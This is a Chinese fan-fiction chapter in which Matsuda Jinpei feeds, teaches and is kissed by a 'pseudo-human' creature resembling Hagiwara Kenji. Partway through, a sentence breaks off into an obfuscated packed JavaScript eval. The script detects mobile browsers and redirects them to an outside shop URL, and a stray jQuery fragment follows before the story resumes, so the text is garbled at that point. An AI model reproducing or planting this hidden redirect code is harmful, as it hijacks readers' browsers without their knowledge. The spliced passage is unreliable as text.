伪人终于吃到了饭。
但跟他想象中的不一样。
一盘汉堡肉躺在微波炉专用盘子里，边缘焦黑，酱汁淋得不太均匀，有一边正在往下淌。
旁边则是乍看还算不错的三明治，只是菜叶有些发蔫，掀开汉堡盖盖，里面的煎蛋是肉眼可见的糊。
——色香味俱不是很健全的一餐。
看着眼前红的黄的绿的配菜，又看了看卷发男人，伪人无师自通憋出一句话：
“吃……这个？”
“对啊，不合胃口？”
松田阵平解下围裙。
其实这围裙除了做做样子，再就没别的作用了。毕竟汉堡肉是他用微波炉叮的，唯一动火的只有煎蛋，不过松田阵平的注意力依旧集中在男人身上，一眨不眨。
倒不是厨师想要好评，而是他拿不准伪人对食物的态度。
眼前这家伙‘饿了’说过好几次，可真把食物摆上来了，却只盯着看，眼睛在食物和他之间来回移动，看得他后背凉意四起。
松田阵平忍不住问：“一直看我做什么？再不吃就凉了。”
还是说，伪人不能吃人类的食物，只能吃……
他没有继续往下想。
可胸口那股酸涩已然重新涌上，堵住喉咙，咽不下也吐不出。
认知与情感的滞后性是很可怕的东西，在回到家以前，松田阵平一直觉得萩就是萩原研二。
一模一样的长相、声音，连接吻时的小动作都相同。可之后他才意识到，这具身体里装着的不是与自己拥有过去、承诺了未来的萩原研二，而是从没与他相处过的未知。
他嘴上说萩原研二已经不在了，大脑却一直在拒绝，好不容易意识到，现在又在拒绝对方与其他伪人的不同。
松田阵平，你可真是……
“算了。”
伸出手，松田阵平正准备把盘子撤走，却见盘子忽然被挪出视线。
他赶忙抬头，就见半长发男人将装了汉堡肉的盘子拉到自己面前，做完这些抬起头，眼睛闪亮亮的：
“我，吃。”
“哈？”松田阵平左边眉头挑得高高的，“不要勉强自己，你不喜欢吃这些吧？”
不然怎么会饿了还迟疑？哪有饿了的人对着食物发呆的？
伪人却反驳，“我吃的。”
他盯着人类的眼睛，重复一遍：“我吃，你不要…不开心。”
这可是他的人类为他做的配菜，怎么能不吃？而且吃完之后就会有主食了吧。
是的，一开始伪人确实困惑，心说配菜竟然要在主食之前吃，人类的规矩好奇怪。
可他仔细思考一番，脑子就告诉他先吃菜后吃肉更健康。尽管不太清楚健康究竟指什么，但听起来很有道理。
所以他的逻辑理清了！
伪人点点头，对自己的聪明才智很满意。然后他五指张开，朝那块汉堡肉抓去——
“喂！”
松田阵平眼疾手快按住他的手，在伪人看过来时一把将筷子塞进对方手里，无奈道：
“我知道了，你用这个吃饭，我教你。”
原来不吃饭是因为不会用筷子，而不是想当汉尼拔么，真是太好了。
松田阵平叹了口气，蓦地放松下来。他起身改坐到男人身边，凑过去握住对方的手。
萩科生物的手比他大一圈。松田阵平勉强将那人的指头掰到正确的位置，无名指抵在最下端，大拇指则压上对方的食指关节，活动——
“这样。”
他引着对方的手去夹汉堡肉，“这是筷子，是用来夹菜吃的，吃饭要用这个。”
伪人低头去瞧两人交叠的手。人类的体温自手背传过来，温热干燥，比他高了好几度，他甚至能感到对方虎口处的薄茧，鼻息间堆满薄荷的甜味。
“明白了吗？”松田阵平松了手。
伪人蓦地回神：“明白了。”
他眼神犀利，将那双筷子‘噗嗤！’一下刺进汉堡肉，手腕一翻，稳稳当当地叉进嘴里！
虽然不知道人类说了什么…嘛，总之就是用筷子吃饭对吧？
松田阵平：“……”
为什么拿的姿势是对的，中途却变成叉子了啊！
……算了，能吃到嘴里就行。
微妙地察觉到自己即将在教育界名誉扫地，松田阵平干脆退而求其次，只求男人安安稳稳把饭吃完。
不过好消息是，在尝试两三次后，对方的动作就越来越熟练，对此松田阵平感慨万分，便移开视线开始吃自己那份。
煎蛋已经凉了，边缘的焦痕变得更硬，汉堡肉的酱汁也凝了一层皮。
可他嚼着嚼着，却莫名觉得自己厨艺见长，直到吃完最后一口三明治，抬头才发现身边的人早就把菜吃得干干净净，此刻正歪着头，眼睛亮晶晶地看他，像是在等下一步指令。
松田阵平顿感欣慰，伸手把空盘子撤走，叮嘱道：
“你先消化一下，不要跑跳，一会儿我教你说话。”
于是伪人乖巧地点头，正期待着饱餐一顿，就见人类把他吃饭的餐具拿走了。
伪人：？
等一下，怎么他吃完配菜就把筷子拿走了？人类还是不想让他吃吗！
表情由乖巧变成困惑，再从困惑变成憋屈。半长发男人的目光追随着卷发人类的背影，看着对方站到洗碗槽前，水流声哗哗的，泡沫在灯下泛着彩色的光。
伪人盯着看了两秒，脑子里忽然冒出一个念头：
人类把筷子拿走，会不会是因为人类要在吃完每道菜后洗一下筷子再吃下一道，以表达对食物的尊重？
对……一定是这样，人类先给他吃配菜，再去洗筷子，等筷子洗完就会给他上主食了！
人类的饮食习惯真讲究啊。
放下卷发青年留给他的麦茶，伪人吐吐舌尖，起身踉踉跄跄地走向厨房。
于是在松田阵平洗碗时，一道微凉的呼吸突兀吹在颈后，瘦长鬼影自他背后延伸，映到洗碗台上。
松田阵平没有回头，他习惯了对方的出没，连手上动作都没停。
“别急，我马上洗完了。”
水流声还在继续。他低头冲洗最后一只盘子，确认没有残留的清洗剂，然后——
他的手被夹住了。
两根筷子夹住了他的手背，力度很轻。松田阵平愕然抬眸，看向用筷子夹住自己的男人，头顶冒出一个问号：
“hagi？你在做什么？”
伪人抬头看他，表情严肃：“吃！”
他晃了晃筷子，又夹了一下松田阵平的手。
松田阵平试图理解他的逻辑，面露为难，“是还没吃饱？那我再给你做一份？”
伪人摇头。
他不想吃配菜了，他想吃主食，于是伪人拒绝：“吃饱了。”
吃饱了……那就是餐后运动？想让自己跟他玩？
从男人的话里提取出如此含义，松田阵平恍然大悟。他把筷子从对方手里抽走，放到沥水架上，然后擦干手。
“那走吧，我陪你。”
松田阵平拍拍半长发男人的肩膀，将人往客厅推。
今天就把常用词教会好了，不然沟通很成问题啊。
伪人：？？
——等等，他主食呢！
*
伪人没有得到主食。
因为主食在教他说话。
两人并肩坐在沙发上，头顶暖黄色的光笼住这一小片区域，把影子投在地上，明暗交叠。
松田阵平将一张纸推到半长发男人面前，上面工工整整写着几个字。
“跟我念——萩原——研二——”
“hagi……wara……”
“嗯。”
“kan…ji——”
“不错。”
听名字从对方口中磕碰出，松田阵平眉眼稍微舒展了些。
只教一次就能喊出自己的名字，这个学习速度比他预想的快得多。虽然发音还有些含混，但已经很不错了，果然还是萩啊。
于是他在萩原研二旁边又写了一行字。
“接下来是我的名字。”
伪人凑过来看，“你的名字？”
“名字，是所有物的标准。那我知道你的名字…你就是我的了吗？”
他认真的询问实在幼稚，像幼稚园时期在好看铅笔盒上写下名字、天真地以为这样就算占有的小朋友，听得松田阵平整个人都柔软三分，抬手搓搓男人的发顶：
“是啊。所以你这家伙可要好好记住了，萩。”
“嗯！”
然而嘴上答应得好，盯着卷发青年头顶的发旋，伪人却少见地走起神。
视线里，眉眼锋利的现役警察嘴唇张合，指尖在纸板上游走，让他看着看着，胸腔的位置又开始发烫。
看起来真好吃啊……
他觉得人类对自己特别好，除了不让吃饭之外一切都好。
晚上的配菜尽管美味，可他吃进去跟没吃一样。那些食物进到胃里就表演了一个凭空消失，像倒进无底洞，什么也没留下，反而加剧了饿的程度。
但看样子，人类还不是很想让他吃。
也许是他还没完全讨好人类？可对方为他取了名字，做了配菜，怎么都该到主食环节了……
还是说，人类怕疼？
脑子里没来由窜出‘人被咬就会疼，人被吃就会死’这句话，还不是很熟悉自己身体功能的伪人顿时一惊，本就微弱的呼吸都放缓了。
人类会疼的话……要不咱不吃了吧？毕竟是这么好看的人类诶，吃一块也不知道多久才能长会来。
至于食物来源，或许他可以在人类睡着后，自己在房间里找找食物？没准能找到——
“喂，记住我的名字了吗？你来说一遍。”
伪人：！
等等，发生什么了？！
没听课的伪人骤然慌乱。松田阵平看着对方惊慌失措眼神乱飘的样子，磨了磨牙，大有把伪人现杀现吃的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602609|205513||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
意味：
“就知道你没听，我可不会说第二——”
“没有，”伪人反驳，“我…听了的！”
情急之下，他伸手一把按在卷发青年的嘴上，强迫对方咽下后面的发言，自己却怔住。
指腹下是温热的、柔软的唇。
人类的上唇薄，下唇饱满。由于方才说话时抿了唇，导致唇瓣依旧湿润，压在指尖犹如一片软乎乎的布丁。
好熟悉。
伪人想。
跟在浴室时咬到的感觉不同，是从摸的角度来说的——熟悉的触感。让他想要将眼前的人压在什么地方，将这份触感反复摩挲，以手指，以嘴唇。
也让他情不自禁脱口而出：
“Ma，tsu…da——”
“Jin，pei……？”
他张开嘴，不由自主地吐出这样的音节，眼见着卷发青年睁大眼睛，凫青色的眼呆呆地看他，忍不住又叫了一遍：
“Matsu，da，jinpei……”
“松田——阵平——”
阵平。
阵平。
尾音于口中来回翻滚，伪人却迟疑了一瞬。
人类在叫他时，似乎一直都是发前面的音？那他是不是也该按照人类的规则，这么叫对方？
于是他将对方的手拉着，重新放到自己的嘴唇上，试探性喊了一声：
“松田？”
这么叫可以吗？
松田阵平的手抖了一下。
自己的姓氏从半长发男人的嘴里说出来，带着某种笨拙的、不太确定的尾音，像是怕叫错了，是陌生到不带任何亲昵后缀的松田。
松田阵平缩回手，指尖在掌心蜷了蜷，轻咳一声：
“…还不错，学得挺快。”
不是萩习惯说的昵称……
不过这样也好，那就慢慢教吧，反正他有的是时间。
*
尽管有些在意称呼，可松田阵平并未急近。在伪人的配合下，接下来的教学很顺利。
对方学得很快，有些词只听一遍就能复述，发音虽然生硬但准确，反倒是松田阵平这位教导者会偶尔走神。
因为半长发男人在念某些词的时候，无论是语气、重音甚至是停顿方式，都跟萩原研二一模一样。
但那些绝非记忆，更像是肌肉的本能，或者膝跳反射一样的反应，是空壳之下残留的神经。
最常见的便是被斩断头的鱼，或是新杀的牛。肉在下锅之后会在锅盖里乱蹦一阵，可归根结底只是反应而已，是完全不存在灵魂的肉|体。
松田阵平倒是不会再把他当作有记忆的萩原研二看待。他已经可以区分眼前这个人和那些过去，只是小动作还是会让他晃神。
就比如此刻。洗过澡后，半长发男人坐在浴缸里，按照自己指的各种日用品一一说出正确发音后，弯着眉眼看他，想要得到奖励的表情和萩原研二几乎重叠。
[To：萩原
我只是在想，萩。
也许身体的记忆比意识的记忆更顽固，那些刻在肌肉里、声带里和本能里的东西，那些当然也属于你的东西，不会被死亡轻易抹去。]
把手机放在洗手台上，松田阵平坐到浴缸边，满意点头：
“真棒。日常用品差不多都记住了，要什么奖励吗？”
时间差不多了，虽然明天请了假不用上班，但还是把这家伙送上床睡觉好了。
现在官方还没什么研究资料发布，但看点花边新闻也是可以的，所以他打算看看刚买的那本报道了伪人的杂志。
当然，这次松田阵平打算把对方留在卧室里。
倒不是他想回忆一番婚后生活，而是因为就算把人丢到客房，那家伙也能闯进来，这样还不如自己主动些，反正萩又不能吃了他。
这么想着，松田阵平抬手，习惯性地拍了拍伪人的发顶。
毛茸茸的，还有点潮。刚洗过的发缠绕在他的指间，软得像小狗肚子上的毛。
而被摸头的伪人则蹭了蹭对方手心，捕捉到了关键词。
“奖励？”
他重复一遍，眼睛一眨不眨地望向松田阵平，显然没有解锁相关名词解释。
松田阵平清了清嗓子，“嗯…就是你做得好，我会因为你的行为给你一些好处。”
嘶，怎么感觉和训练小狗一样？都是萩眼神太清澈的原因吧……
莫名心虚，松田阵平忍不住挠挠脸颊，错过了伪人眼里爆开一瞬的光亮。
然后伪人动了。
从水里豁然起身，高瘦的人影蓦地逼近。松田阵平就觉眼前一暗，嘴上就传来湿软的触感，令他瞪圆了那对凫青色。
带着沐浴露的香味和叫不出名字的甜味，是完完整整的、嘴唇对嘴唇的亲吻。
‘啵！’的一声，炸开在有一人愣住的浴室里，格外清晰。
伪人退开一点距离，期待地看他：
“这个，是奖励。”
“可以吗？”